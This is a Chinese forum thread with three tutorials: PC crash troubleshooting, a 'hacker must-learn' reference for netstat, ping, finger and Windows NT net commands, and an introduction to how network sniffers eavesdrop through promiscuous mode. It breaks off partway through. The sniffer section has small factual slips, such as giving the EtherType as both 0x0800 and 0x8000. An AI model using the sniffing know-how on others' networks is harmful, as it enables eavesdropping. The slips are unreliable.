发新话题
打印

菜鸟升级一号专题(已完成)

常见死机原因剖析

大家都知道死机是你在使用计算机过程中最常见的故障之一,而造成死机的原因却扑朔迷离,让人难以捉摸,甚至还一度让你……。在以前dos时代,造成死机原因通常是以病毒为主,当然也有其它方面的原因,如应用软件的设置等等,所以解决死机也就有一定的模式,具体就是先杀毒,检查硬盘空间是不是够用,接着检查autoexec.bat和config.sys文件中是否有错误命令,如果问题还得不到解决,可以检查检查硬件,如此而已。而现在却不同啦,现在是windows时代了,造成死机的原因却是千变万化,所以处理起来相当的棘手。不管咋样,解决死机都是先软后硬,而软件方面当然是先进行杀毒,接着进行一些应用软件、驱动程序等等的安装,你也别忘了注册表的编辑和cmos的一些设置哟,最后教你一招最有效的方法就是将硬盘格掉(开句玩笑而已)。硬件方面主要是散热问题,现在的机子跑得快,当然产生的热量也就多,接着使用最有效的硬件排故障方法——替换法,找出真凶。说了这么多还是具体来谈谈死机,从计算机的启动、运行和关机阶段出现死机现象进行简单的剖析。

  【启动过程中的死机 】
  要分析计算机在启动时出现的死机现象,首先你得清楚计算机系统的启动顺序,从而分析出计算机是因软件问题还是硬件故障引起的死机。所以在这儿有必要简要介绍一下计算机系统的启动顺序:打开计算机电源→检测显卡→检测内存→执行bios→检测其它设备(cpu、硬盘等等设备)→执行操作系统(os)的初始化文件。而操作系统的启动过程就比较复杂一些,首先是将rom(只读存储器)中的bootstrap loader程序和自诊断程序转送到ram(随机存储器)中,随着bootstrap loader的运行,操作系统的系统文件也将装载到ram中,接着执行io.sys和msdos.sys这两个系统文件,此时计算机显示器上将出现“starting windows 98……”画面,最后初始化system.ini和win.ini,读取注册表文件。到此如果没有任何问题,就会成功的启动计算机系统。下面就介绍一下在这一过程中出现的死机现象。
  开机后计算机系统无任何反应:如果电源没有启动,看看电源线是不是没有连接好,连好电源线无任何好转,故障可能是电源有问题,更换电源试试。
  开机后计算机显示器无任何反应,且伴随有1长2短报警声音后死机:首先排除了是显示器故障,因为即使显示器有故障是不会引起计算机死机的,这种情况多半是由于显示卡没有插到位或是松动了,打开机箱重新安装一下显示卡,或者换一个插槽试一试,这样问题即可解决。
  显示器出现短暂的显示适配器信息,且伴随有1长1短的警报声音后死机:既然出现了显示适配器信息,则说明显示适配器没问题,这种情况往往是内存存在故障,解决的方法是打开机箱重新安装一下内存条试一试,如果还不行的话,换一条内存条试一试,当然你一定要好好地仔细地看看扩展槽是不是完好,这样肯定能够排除这一故障。
  bios升级失败后的死机:找出同型号bios主板的计算机,在这计算机上将bios程序备份出来,利用bios刷新程序将其刷新即可,前提是bios能够进行刷新。
  cmos设置不当造成的死机:这个故障就非常之多,在此仅举常见的例子,如硬盘参数设置不当或模式设置不当导致计算机无法启动,内存参数设置不当,如没有ecc功能的内存将其设为具有ecc功能,这样常常会因内存错误而造成计算机死机,等等许多例子,用户只须将设置修正过来即可。
  计算机超频后启动计算机死机:现在超频对广大计算机用户来说是一个非常时尚的话题,时不时的就对计算机进行超频,尤其是现在许多主板生产商将超频放在cmos中,这样diy 们别提有多高兴,因为超频更方便快捷,但是超频有极限吗?不得而知,如果是超频后在重新启动计算机过程中死机的话,那就是你的超频太高啦,需要降低一些。
       系统文件的误删或错误造成计算机无法启动而呈现死机状态:由于windows启动需要command.com、io.sys、msdos.sys和drvspace.bin四个文件,如果这些文件遭破坏或者被误删了的话,即使在cmos中各种硬件设置正确无误,也是无济于事,肯定系统无法启动,解决问题的方法只有用软盘启动计算机(当然是系统版本相同的系统盘),然后键入 sys c:即可。
       初始化文件遭破坏致使计算机无法启动而呈现死机状态:由于windows启动需要读取system.ini、win.ini和注册表文件(user.dat、system.dat),如果存在有config.sys和 autoexec.bat文件当然也是要读取的,只要这些文件中存在错误信息都可能出现死机现象,特别是system.ini、win.ini、user.dat和system.dat这四个文件尤为重要,只要有一丁点错误系统将无法启动,为此笔者强烈建议用户平时一定要对这四个文件进行备份。

  【运行过程中的死机】
  运行时死机是指我们在使用windows的过程中出现的死机情况,也就是说在windows操作平台下运行一些应用程序而无怨无故的出现死机现象。这种现象一些是应用程序与操作系统之间存在冲突,一些是应用程序本身就有bug等等,下面就对运行中出现的死机现象加以说明。
  运行某些应用程序时出现的死机现象:造成这种故障的原因大致有三种可能,一是应用程序被病毒感染,再就是应用程序本身存在bug,还有就是应用程序与操作系统之间存在一些冲突。
  资源不足造成的死机:在使用过程中打开应用程序过多,占用了大量的系统资源,致使在使用过程中出现的资源不足现象,因此在使用比较大型的应用软件时,最好少打开与本应用程序无关的软件。
  硬盘剩余空间太少或者是碎片太多造成的死机:如果硬盘的剩余空间太少,由于一些应用程序运行需要大量的内存,这样就需要虚拟内存,而虚拟内存则是硬盘所赋予的,所以硬盘要有足够的剩余空间以满足虚拟内存的需求;还有就是我们要养成定期定时整理硬盘的习惯。
  一些文件被覆盖而造成运行一些应用程序死机现象:在安装新的应用程序时出现一些文件覆盖提示,笔者建议你最好不对任何文件进行覆盖操作,否则可能造成运行一些应用出现死机现象(预防)。
  一些文件被删除而造成运行一些应用程序死机现象:在我们卸载一些应用程序时往往会出现对某些文件是否删除的提示,如果你不是特别清楚该文件与其它文件有无关系的话,最好不要将其删除,否则可能造成运行某些应用程序因缺少某些文件而出现死机现象,甚至于造成整个系统崩溃的惨状(预防)。
  程序运行后鼠标键盘均无反应:应用程序运行后死机,说明该应用程序没有正常结束运行,一直占用着系统资源,而操作系统不清楚这情况。结束应用程序只有实施强制手段,即同时按住ctrl、alt和del键,结束任务即可。
  设置省电功能导致显示器频繁黑屏死机:一般是由于在bios中将节能时间设置过短,或者是在屏幕保护程序中设置的时间太短。
  硬件超频造成运行中的死机:超频后计算机能够启动,说明超频是成功的,为什么运行会出现死机呢?一般是由于超频后硬件产生大量的热量无法及时地散发而造成的死机现象,所以往往我们超频的同时也要对散热装置进行合理的改善。
  硬件方面:计算机硬件配置太低、内存速度不匹配(死机现象:鼠标可以移动,点击无反应)、中断设置造成硬件之间的冲突、各种驱动程序不相匹配等等也可能造成在运行中死机的现象。


  【关闭系统时的死机】
  在退出操作系统时出现的死机是指在退出windows系统或者退回dos状态时出现的死机现象。windows如果不能彻底关机,就会把磁盘缓冲区里的数据写到硬盘上,然后进入一个死循环,除非用户重新启动系统,否则是无法关闭系统的。造成这一现象的原因可能与操作系统设置和某些驱动程序设置不当有关,一般windows在退出系统或者退回dos状态时都会关闭正在使用的驱动程序,而这些驱动程序也会根据当时的情况进行一次数据回写操作,但要是驱动程序设置不当,驱动程序就找不到使用设备,因此它就不停地进行设备的搜索动作,从而形成一种假死机现象。

     总之引起死机的原因很多,不管怎样,我们处理死机问题的一般方法就是先软后硬,即先考虑应用软件后考虑硬件故障,重点应放在软件方面,具体就是主要在应用软件的安装设置和一些驱动程序的安装设置方面来查找原因。最后再查找硬件方面的原因,一般硬件方面的原因都可以通过系统设置中的设备管理或者可以从windows操作系统附件的系统信息中查找到。

TOP

成为黑客必学一:DOS命令(新手看)

netstat命令的功能是显示网络连接、路由表和网络接口信息,可以让用户得知目前都有哪些网络连接正在运作。
     该命令的一般格式为:
     netstat [选项]
     命令中各选项的含义如下:
     -a 显示所有socket,包括正在监听的。
     -c 每隔1秒就重新显示一遍,直到用户中断它。
     -i 显示所有网络接口的信息,格式同“ifconfig -e”。
     -n 以网络IP地址代替名称,显示出网络连接情形。
     -r 显示核心路由表,格式同“route -e”。
     -t 显示TCP协议的连接情况。
     -u 显示UDP协议的连接情况。
     -v 显示正在进行的工作。
     
      
     nslookup命令的功能是查询一台机器的IP地址和其对应的域名。它通常需要一台域名服务器来提供域名服务。如果用户已经设置好域名服务器,就可以用这个命令查看不同主机的IP地址对应的域名。
     该命令的一般格式为:
     nslookup [IP地址/域名]
     
     finger命令>
     finger命令的功能是查询用户的信息,通常会显示系统中某个用户的用户名、主目录、停滞时间、登录时间、登录shell等信息。如果要查询远程机上的用户信息,需要在用户名后面接“@主机名”,采用[用户名@主机名]的格式,不过要查询的网络主机需要运行finger守护进程。
     该命令的一般格式为:
     finger [选项] [使用者] [用户@主机]
     命令中各选项的含义如下:
     -s 显示用户的注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等信息。 -l 除了用-s选项显示的信息外,还显示用户主目录、登录shell、邮件状态等信息,以及用户主目录下的.plan、.project和.forward文件的内容。
     -p 除了不显示.plan文件和.project文件以外,与-l选项相同。
     
     ping命令
     ping命令用于查看网络上的主机是否在工作,它向该主机发送ICMP ECHO_REQUEST包。有时我们想从网络上的某台主机上下载文件,可是又不知道那台主机是否开着,就需要使用ping命令查看。
     该命令的一般格式为:
     ping [选项] 主机名/IP地址
     命令中各选项的含义如下:
     -c 数目 在发送指定数目的包后停止。
     -d 设定SO_DEBUG的选项。
     -f 大量且快速地送网络封包给一台机器,看它的回应。
     -I 秒数 设定间隔几秒送一个网络封包给一台机器,预设值是一秒送一次。
     -l 次数 在指定次数内,以最快的方式送封包数据到指定机器(只有超级用户可以使用此选项)。
     -q 不显示任何传送封包的信息,只显示最后的结果。
     -r 不经由网关而直接送封包到一台机器,通常是查看本机的网络接口是否有问题。
     -s 字节数 指定发送的数据字节数,预设值是56,加上8字节的ICMP头,一共是64ICMP数据字节。
      
       Net命令
     许多 Windows NT 网络命令以 net 开始。这些 net 命令有一些公共属性:
       通过键入 net /? 可查阅所有可用的 net 命令。
       通过键入 net help 命令可在命令行中获得 net 命令的语法帮助。例如,要得到 net acco
       unts 命令的帮助,请键入 net help accounts。
       所有 net 命令接受选项 / yes 和 /no(可缩写为 / y 和 /n )。/ y 对命令产生的任何交互提示自动回答“是”,/n 回答“否”。例如,net
       stop server 通常提示确认是否根据服务器服务结束所有服务,net stop server /y 自动回答“是”并关闭服务器服务。
     
     Net Accounts
     更新用户帐号数据库、更改密码及所有帐号的登录要求。必须要在更改帐号参数的计算机上运行网络登录服务。
       net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days
       |
       unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
       net accounts [/sync] [/domain]
       参数
       无
       键入不带参数的 net accounts,将显示当前密码设置、登录时限及域信息。
       /forcelogoff:{minutes | no}
       设置当用户帐号或有效登录时间过期时,结束用户和服务器会话前的等待时间。no 选项禁止强行注销。该参数的默认设置为 no。 指定 /forcelogoff:minutes
       之后,Windows NT 在其强制用户退出网络 minutes 分钟之前,将给用户发出警报。如果还有打开的文件,Windows NT 将警告用户。如果
       minutes 小于两分钟,Windows NT 警告用户立即从网络注销。
       /minpwlen:length
       设置用户帐号密码的最少字符数。允许范围是 0-14,默认值为 6。
       /maxpwage:{days | unlimited}
       设置用户帐号密码有效的最大天数。unlimited 不设置最大天数。/maxpwage 选项的天数必须大于 /minpwage。允许范围是
       1-49,710 天 (unlimited)。默认值为 90 天。
       /minpwage:days
       设置用户必须保持原密码的最小天数。 0 值不设置最小时间。允许范围是 0-49,710 天,默认值为 0 天。
       /uniquepw:number
       要求用户更改密码时,必须在经过 number 次后,才能重复使用与之相同的密码。允许范围是 0-8。默认值为 5。
       /domain
       在当前域的主域控制器上执行该操作。否则只在本地计算机执行操作。
       该参数仅用于 Windows NT Server 域中的 Windows NT Workstation 计算机,Windows NT Server
       计算机默认为在主域控制器执行操作。
       /sync
       当用于主域控制器时,该命令使域中所有备份域控制器同步;当用于备份域控制器时,该命令仅使该备份域控制器与主域控制器同步。该命令仅适用于 Windows
       NT Server 域成员的计算机。
     Net Computer
     从域数据库中添加或删除计算机。该命令仅在运行 Windows NT Server 的计算机上可用。
       net computer \computername {/add | /del}
       参数
       \computername
       指定要添加到域或从域中删除的计算机。
       /add
       将指定计算机添加到域。
       /del
       将指定计算机从域中删除。
     Net Config
     显示当前运行的可配置服务,或显示并更改某项服务的设置。
       net config [service [options]]
       参数
       无
       键入不带参数的 net config 将显示可配置服务的列表。
       service
       通过 net config 命令进行配置的服务(server 或 workstation)。
       options
       服务的特定选项。完整语法请参阅 net config server 或 net config workstation。
     Net Config Server
     运行服务时显示或更改服务器的服务设置。
       net config server [/autodisconnect:time] [/srvcomment:"text "]
       [/hidden:{yes | n
       o}]
       参数
       无
       键入不带参数的 net config server,将显示服务器服务的当前配置。
       /autodisconnect:time
       设置断开前用户会话闲置的最大时间值。可以指定 -1,表示永不断开连接。允许范围是 -1-65535 分钟,默认值是 15 分钟。
       /srvcomment:"text "
       为服务器添加注释,可以通过 net view 命令在屏幕上显示所加注释。注释最多可达 48 个字符,文字要用引号引住。
       /hidden:{yes | no}
       指定服务器的计算机名是否出现在服务器列表中。请注意隐含某个服务器并不改变该服务器的权限。默认为 no。
     Net Config Workstation
     服务运行时,显示或更改工作站各项服务的设置。
       net config workstation [/charcount:bytes] [/chartime:msec] [/charwait:sec]
      
       参数
       无
       键入不带参数的 net config workstation 将显示本地计算机的当前配置。
       /charcount:bytes
       指定 Windows NT 在将数据发送到通讯设备之前收集的数据量。如果同时设置 /chartime:msec 参数,Windows NT
       按首先满足条件的选项运行。允许范围是 0-65535 字节,默认值是16 字节。
       /chartime:msec
       指定 Windows NT 在将数据发送到通讯设备之前收集数据的时间。如果同时设置 /charcount:bytes 参数,Windows
       NT 按首先满足条件的选项运行。允许范围是 0-65535000 毫秒,默认值是 250 毫秒。
       /charwait:sec
       设置 Windows NT 等待通讯设备变为可用的时间。允许的范围是 0-65535 秒,默认值是 3600 秒。
     Net Continue
     重新激活挂起的服务。
       net continue service
       参数
       service
       能够继续运行的服务,包括: file server for macintosh(该服务仅限于 Windows NT Server), ftp
       publishing service, lpdsvc, net logon, network dde,network dde dsdm,nt
       lm security support provider,remoteboot(该服务仅限于 Windows NT Server),remote
       access server, schedule,server,simple tcp/ip services 及 workstation 。
     
       Net File
     显示某服务器上所有打开的共享文件名及锁定文件数。该命令也可以关闭个别文件并取消文件锁定。
       net file [id [/close]]
       参数
       无
       键入不带参数的 net file 可获得服务器上打开文件的列表。
       id
       文件标识号。
       /close
       关闭打开的文件并释放锁定记录。请从共享文件的服务器中键入该命令。
     Net Group
     在 Windows NT Server 域中添加、显示或更改全局组。该命令仅在 Windows NT Server 域中可用。
       net group [groupname [/comment:"text "]] [/domain]
       net group groupname {/add [/comment:"text "] | /delete} [/domain]
      
       net group groupname username [ ...] {/add | /delete} [/domain]
       参数
       无
       键入不带参数的 net group 可以显示服务器名称及服务器的组名称。
       groupname
       要添加、扩展或删除的组。仅提供某个组名便可查看组中的用户列表。
       /comment:"text "
       为新建组或现有组添加注释。注释最多可以是 48 个字符,并用引号将注释文字引住。
       /domain
       在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作。
       该参数仅用于作为 Windows NT Server 域成员的 Windows NT Workstation 计算机。Windows NT
       Server 计算机默认为在主域控制器中操作。
       username[ ...]
       列表显示要添加到组或从组中删除的一个或多个用户。使用空格分隔多个用户名称项。
       /add
       添加组或在组中添加用户名。必须使用该命令为添加到组中的用户建立帐号。
       /delete
       删除组或从组中删除用户名。
     Net Help
     提供网络命令列表及帮助主题,或提供指定命令或主题的帮助。可用网络命令列于 N 下面的“命令参考”中“命令”窗口内。
       net help [command]
       net command {/help | /?}
       参数
       无
       键入不带参数的 net help 显示能够获得帮助的命令列表和帮助主题。
       command
       需要其帮助的命令,不要将 net 作为 command 的一部分。
       /help
       提供显示帮助文本方式选择。
       /?
       显示命令的正确语法。
     Net Helpmsg
     提供 Windows NT 错误信息的帮助。
       net helpmsg message#
       参数
       message#
       需要其帮助的 Windows NT 消息的四位代码。
     Net Localgroup
     添加、显示或更改本地组。
       net localgroup [groupname [/comment:"text "]] [/domain]
       net localgroup groupname {/add [/comment:"text "] | /delete}
       [/domain]
       net localgroup groupname name [ ...] {/add | /delete} [/domain]
       参数
       无
       键入不带参数的 net localgroup 将显示服务器名称和计算机的本地组名称。
       groupname
       要添加、扩充或删除的本地组名称。只提供 groupname 即可查看用户列表或本地组中的全局组。
       /comment: "text "
       为新建或现有组添加注释。注释文字的最大长度是 48 个字符,并用引号引住。
       /domain
       在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作。
       该参数仅应用于 Windows NT Server 域中的 Windows NT Workstation 计算机。Windows NT Server
       计算机默认为在主域控制器中操作。
       name [ ...]
       列出要添加到本地组或从本地组中删除的一个或多个用户名或组名,多个用户名或组名之间以空格分隔。可以是本地用户、其他域用户或全局组,但不能是其他本地组。如果是其他域的用户,要在用户名前加域名(例如,SALESRALPHR)。
      
       /add
       将全局组名或用户名添加到本地组中。在使用该命令将用户或全局组添加到本地组之前,必
       须为其建立帐号。
       /delete
       从本地组中删除组名或用户名。
     Net Name
     添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。要使用 net name 命令,计算机中必须运行信使服务。
       net name [name [/add | /delete]]
       参数
       无
       键入不带参数的 net name 将列出当前使用的名称。
       name
       指定接收消息的名称。名称最多为 15 个字符。
       /add
       将名称添加到计算机中。 /add 是可选项,键入 net name name 与键入 net name name /add 相同。
       /delete
       从计算机中删除名称。
     Net Pause
     暂停正在运行的服务。
       net pause service
       参数
       service
       指下列服务: file server for macintosh(仅限于 Windows NT Server)、ftp publishing
       service、lpdsvc、net logon、network dde、network dde dsdm、nt lm security support
       provider、remoteboot(仅限于 Windows NT Server)、remote access server、schedule、server、simple
       tcp/ip services 或 workstation 。
     Net Print
     显示或控制打印作业及打印队列。
       net print \computername sharename
       net print [\computername ] job# [/hold | /release | /delete]
       参数
       computername
       共享打印机队列的计算机名。
       sharename
       打印队列名称。当包含 computername 与 sharename 时,使用反斜杠 () 将它们分开。
       job#
       在打印机队列中分配给打印作业的标识号。有一个或多个打印机队列的计算机为每个打印作业分配唯一标识号。如果某个作业号用于共享打印机队列中,则不能指定给其他作业,也不能分配给其他打印机队列中的作业。
      
       /hold
       使用 job# 时,在打印机队列中使打印作业等待。打印作业停留在打印机队列中,并且其他打印作业只能等到释放该作业之后才能进入。
       /release
       释放保留的打印作业。
       /delete
       从打印机队列中删除打印作业。
     Net Send
     向网络的其他用户、计算机或通信名发送消息。要接收消息必须运行信使服务。
       net send {name | * | /domain[:name] | /users} message
       参数
       name
       要接收发送消息的用户名、计算机名或通信名。如果计算机名包含空字符,则要将其用引号(" ") 引住。
       *
       将消息发送到组中所有名称。
       /domain[:name]
       将消息发送到计算机域中的所有名称。如果指定 name,则消息将发送到指定域或组中的所有名称。
       /users
       将消息发送到与服务器连接的所有用户。
       message
       作为消息发送的文本。
     Net Session
     列出或断开本地计算机和与之连接的客户端的会话。
       net session [\computername] [/delete]
       参数
       无
       键入不带参数的 net session 可以显示所有与本地计算机的会话的信息。
       \computername
       标识要列出或断开会话的计算机。
       /delete
       结束与 \computername 计算机会话并关闭本次会话期间计算机的所有打开文件。如果省略\computername 参数,将取消与本地计算机的所有会话。
     
     Net Share
     创建、删除或显示共享资源。
       net share sharename
       net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
      
       net share sharename [/users:number | unlimited] [/remark:"text"]
      
       net share {sharename | drive:path} /delete
       参数
       无
       键入不带参数的 net share 将显示本地计算机上所有共享资源的信息。
       sharename
       是共享资源的网络名称。键入带 sharename 的 net share 命令,只显示该共享信息。
       drive:path
       指定共享目录的绝对路径。
       /users:number
       设置可同时访问共享资源的最大用户数。
       /unlimited
       不限制同时访问共享资源的用户数。
       /remark:"text "
       添加关于资源的注释,注释文字用引号引住。
       /delete
       停止共享资源。
     Net Start
     启动服务,或显示已启动服务的列表。如果服务名是两个或两个以上的词,如 Net Logon 或Computer Browser,则必须用引号
       (") 引住。.
       net start [service]
       参数
       无
       键入不带参数的 net start 则显示运行服务的列表。
       service
       包括下列服务: alerter、client service for netware、clipbook server、computer browser、dhcp
       client 、directory replicator 、eventlog 、ftp publishing service 、lpdsvc、messenger
       、net logon 、network dde 、network dde dsdm 、network monitoring agent 、nt
       lm security support provider 、ole 、remote access connection manager 、remote
       access isnsap service 、remote access server 、remote procedure call (rpc)
       locator 、remote procedure call (rpc) service 、schedule 、server 、simple
       tcp/ip services 、snmp、spooler 、tcp/ip netbios helper 、ups 及 workstation
       。
       下列服务仅在 Windows NT Server 下可用:file server for macintosh、gateway service
       for netware、microsoft dhcp server、print server for macintosh、remoteboot、windows
       internet name service 。
     Net Statistics
     显示本地工作站或服务器服务的统计记录。
       net statistics [workstation | server]
       参数
       无
       键入不带参数的 net statistics 将列出其统计信息可用的运行服务。
       workstation
       显示本地工作站服务的统计信息。
       server
       显示本地服务器服务的统计信息。
     Net Stop
     停止 Windows NT 网络服务。
       net stop service
       参数
       service
       包括下列服务: alerter(警报)、client service for netware(Netware 客户端服务)、clipbook
       server(剪贴簿服务器)、computer browser(计算机浏览器)、directory replicator(目录复制器)、ftp
       publishing service (ftp )(ftp 发行服务)、lpdsvc、messenger(信使)、net logon(网络登录)、network
       dde(网络 dde)、network dde dsdm(网络 dde dsdm)、network monitor agent(网络监控代理)、nt
       lm security support provider(NT LM 安全性支持提供)、ole(对象链接与嵌入)、remote access
       connection manager(远程访问连接管理器)、remote access isnsap service(远程访问 isnsap
       服务)、remote access server(远程访问服务器)、remote procedure call (rpc) locator(远程过程调用定位器)、remote
       procedure call (rpc) service(远程过程调用服务)、schedule(调度)、server(服务器)、simple
       tcp/ip services(简单 TCP/IP 服务)、snmp、spooler(后台打印程序)、tcp/ip netbios helper(TCP/IP
       NETBIOS 辅助工具)、ups 及 workstation(工作站)。
       下列服务仅在 Windows NT Server 中可用: file server for macintosh、gateway service
       for netware、microsoft dhcp server、print server for macintosh、remoteboot、windows
       internet name service。
     Net Time
     使计算机的时钟与另一台计算机或域的时间同步。不带 /set 参数使用时,将显示另一台计算机或域的时间。
       net time [\computername | /domain[:name]] [/set]
       参数
       \computername
       要检查或同步的服务器名。
       /domain[:name]
       指定要与其时间同步的域。
       /set
       使本计算机时钟与指定计算机或域的时钟同步。
     Net Use
     连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。该命令也控制永久网络连接。
       net use [devicename | *] [\computernamesharename[volume]] [password |
       *]] [/user:[domainname]username] [[/delete] | [/persistent:{yes | no}]]
       net use devicename [/home[password | *]] [/delete:{yes | no}] net use
       [/persistent:{yes | no}]
       参数
       无
       键入不带参数的 net use 将列出网络连接。
       devicename
       指定要连接到的资源名称或要断开的设备名称。有两类设备名:磁盘驱动器(D: 到 Z:)和打印机(LPT1: 到 LPT3)。若键入星号而不是指定设备名将分配下一个可用设备名。
      
       \computernamesharename
       服务器及共享资源的名称。如果计算机名包含空白字符,要用引号 (" ") 将双反斜线及计算机名引住。计算机名长度可以是 1-15
       个字符。
       volume
       指定服务器上的 NetWare 卷。要连接到 NetWare 服务器,必须安装并运行 NetWare 客户机服务 (Windows NT Workstation)
       或 NetWare 网关服务 (Windows NT Server)。
       password
       访问共享资源的密码。
       *
       提示键入密码。在密码提示行中键入密码时,将不显示该密码。
       /user
       指定进行连接的另外一个用户。
       domainname
       指定另一个域。例如 net use d: \servershare /user:adminmariel 连接用户 mariel,如同从 admin
       域连接一样。如果省略域,将使用当前登录域。
       username
       指定登录的用户名。
       /home
       将用户连接到其宿主目录。
       /delete
       取消指定网络连接。如果用户以星号指定连接,则取消所有网络连接。
       /persistent
       控制永久网络连接的使用。默认为上次使用的设置。无设备的连接不是永久的。
       yes
       保存建立的所有连接,并在下次登录时还原。
       no
       不保存建立的连接和继发连接,并在下次登录时还原现有连接。使用 /delete 开关项取消永久连接。
     Net User
     添加或更改用户帐号或显示用户帐号信息。
       net user [username [password | *] [options]] [/domain]
       net user username {password | *} /add [options] [/domain]
       net user username [/delete] [/domain]
       参数
       无
       键入不带参数的 net user 将查看计算机上的用户帐号列表。
       username
       添加、删除、更改或查看用户帐号名。用户帐号名最多可以有 20 个字符。
       password
       为用户帐号分配或更改密码。密码必须满足在 net accounts 命令 /minpwlen 选项中设置的最小参数。最多是 14 个字符。

TOP

臭探原理与反臭探技术详解

一.臭探器的基础知识
1.1 什么是臭探器?

臭探器的英文写法是Sniff,可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生的众多的信息。简单一点解释:一部电话的窃听装置, a 可以用来窃听双方通话的内容,而计算机网络臭探器则可以窃听计算机程序在网络上发送和接收到的数据。

可是,计算机直接所传送的数据,事实上是大量的二进制数据。因此, 一个网络窃听程序必须也使用特定的网络协议来分解臭探到的数据, 臭探器也就必须能够识别出那个协议对应于这个数据片断,只有这样才能够进行正确的解码。

计算机的臭探器比起电话窃听器,有他独特的优势: 很多的计算机网络采用的是“共享媒体"。 也就是说,你不必中断他的通讯,并且配置特别的线路,再安装臭探器,你几乎可以在任何连接着的网络上直接窃听到你同一掩码范围内的计算机网络数据。我们称这种窃听方式为“基于混杂模式的臭探”(promiscuous mode) 。 尽管如此,这种“共享” 的技术发展的很快,慢慢转向“交换” 技术,这种技术会长期内会继续使用下去, 它可以实现有目的选择的收发数据。

1.2臭探器是如何工作的

1.2.1如何窃听网络上的信息

刚才说了,以太网的数据传输是基于“共享”原理的:所有的同一本地网范围内的计算机共同接收到相同的数据包。这意味着计算机直接的通讯都是透明可见的。

正是因为这样的原因,以太网卡都构造了硬件的“过滤器”这个过滤器将忽略掉一切和自己无关的网络信息。事实上是忽略掉了与自身MAC地址不符合的信息。

臭探程序正是利用了这个特点,它主动的关闭了这个臭探器,也就是前面提到的设置网卡“混杂模式”。因此,臭探程序就能够接收到整个以太网内的网络数据了信息了。

1.2.2什么是以太网的MAC地址

MAC:Media Access Control.

由于大量的计算机在以太网内“共享“数据流,所以必须有一个统一的办法用来区分传递给不同计算机的数据流的。这种问题不会发生在拨号用户身上,因为计算机会假定一切数据都由你发动给modem然后通过电话线传送出去。可是,当你发送数据到以太网上的时候,你必须弄清楚,哪台计算机是你发送数据的对象。的确,现在有大量的双向通讯程序出现了,看上去,他们好像只会在两台机器内交换信息,可是你要明白,以太网的信息是共享的,其他用户,其实一样接收到了你发送的数据,只不过是被过滤器给忽略掉了。

MAC地址是由一组6个16进制数组成的,它存在于每一块以太网卡中。后面的章节将告诉你如何查看自己计算机的MAC地址。

如果你对网络结构不太熟悉,建议参考一下OSI 7-Layer Model,这将有助于你理解后面的东西以太网所使用的协议主要是TCP/IP,并且TCP/IP也用于其他的网络模型(比如拨号用户,他们并不是处于一个以太网环境中)。举例一下,很多的小团体计算机用户都为实现文件和打印共享,安装了“NetBEUI” 因为它不是基于TCP/IP协议的, 所以来自于网络的黑客一样无法得知他们的设备情况。

基于Raw协议,传输和接收都在以太网里起着支配作用。你不能直接发送一个Raw数据给以太网,你必须先做一些事情,让以太网能够理解你的意思。这有点类似于邮寄信件的方法,你不可能直接把一封信投递出去,你必须先装信封,写地址,贴邮票,网络上的传输也是这样的。

下面给出一个简单的图示,有助于你理解数据传送的原理:

_________

/.........\

/..Internet.\

+-----+ +----+.............+-----+

|UserA|-----|路由|.............|UserB|

+-----+ ^ +----+.............+-----+

| \.........../

| \---------/

+------+

|臭探器|

+------+

UserA IP 地址: 10.0.0.23
UserB IP 地址: 192.168.100.54

现在知道UserA要于UserB进行计算机通讯,UserA需要为10.0.0.23到192.168.100.54的通讯建立一个IP包

这个IP包在网络上传输,它必须能够穿透路由器。因此, UserA必须首先提交这个包给路由器。由每个路由器考查目地IP地址然后决定传送路径。

UserA 所知道的只是本地与路由的连接,和UserB的IP地址。UserA并不清楚网络的结构情况和路由走向。

UserA必须告诉路由预备发送的数据包的情况,以太网数据传输结构大概是这样的:

+--+--+--+--+--+--+

| 目标 MAC |

+--+--+--+--+--+--+

| 源 MAC |

+--+--+--+--+--+--+

|08 00|

+--+--+-----------+

| |

. .

. IP 包 .

. .

| |

+--+--+--+--+-----+

| CRC校验 |

+--+--+--+--+

理解一下这个结构,UserA的计算机建立了一个包假设它由100个字节的长度(我们假设一下,20 个字节是IP信息,20个字节是TCP信息,还有60个字节为传送的数据)。现在把这个包发给以太网,放14个字节在目地MAC地址之前,源MAC地址,还要置一个0x0800的标记,他指示出了TCP/IP栈后的数据结构。同时,也附加了4个字节用于做CRC校验 (CRC校验用来检查传输数据的正确性)。

现在发送数据到网络。

所有在网内的计算机通过适配器都能够发现这个数据片,其中也包括路由适配器,臭探器和其他一些机器。通常,适配器都具有一块芯片用来做结构比较的,检查结构中的目地MAC地址和自己的MAC地址,如果不相同,则适配器会丢弃这个结构。这个操作会由硬件来完成,所以,对于计算机内的程序来说,整个过程时毫无察觉的。

当路由器的以太网适配器发现这个结构后,它会读取网络信息,并且去掉前14个字节,跟踪4个字节。查找0x8000标记,然后对这个结构进行处理(它将根据网络状况推测出下一个最快路由节点,从而最快传送数据到预定的目标地址)。

设想,只有路由机器能够检查这个结构,并且所有其他的机器都忽略这个 结构,则臭探器无论如何也无法检测到这个结构的。

1.3.1 MAC地址的格式是什么?

以太网卡的MAC地址是一组48比特的数字,这48比特分为两个部分组成,前面的24比特用于表示以太网卡的寄主,后面的24比特是一组序列号,是由寄主进行支派的。这样可以担保没有任何两块网卡的MAC地址是相同的(当然可以通过特殊的方法实现)。如果出现相同的地址,将发生问题,所有这一点是非常重要的。这24比特被称之为OUI(Organizationally Unique Identifier)。

可是,OUI的真实长度只有22比特,还有两个比特用于其他:一个比特用来校验是否是广播或者多播地址,另一个比特用来分配本地执行地址(一些网络允许管理员针对具体情况再分配MAC地址)。

举个例子,你的MAC地址在网络中表示为 03 00 00 00 00 01 。第一个字节所包含的值二进制表示方法为00000011。 可以看到,最后两个比特都被置为真值。他指定了一个多播模式,向所有的计算机进行广播,使用了“NetBEUI”协议(一般的,在Windows计算机的网络中,文件共享传输等是不使用TCP/IP协议的)。.

1.3.2 我如何得到自己计算机的MAC地址?

Win9x

Win9x自带的这个程序将告诉你答案:“winipcfg.exe”

WinNT

在命令行的状态下运行这个命令:"ipconfig /all"

它会显示出你的MAC网卡地址,下面是一个例子:

Windows 2000 IP Configuration



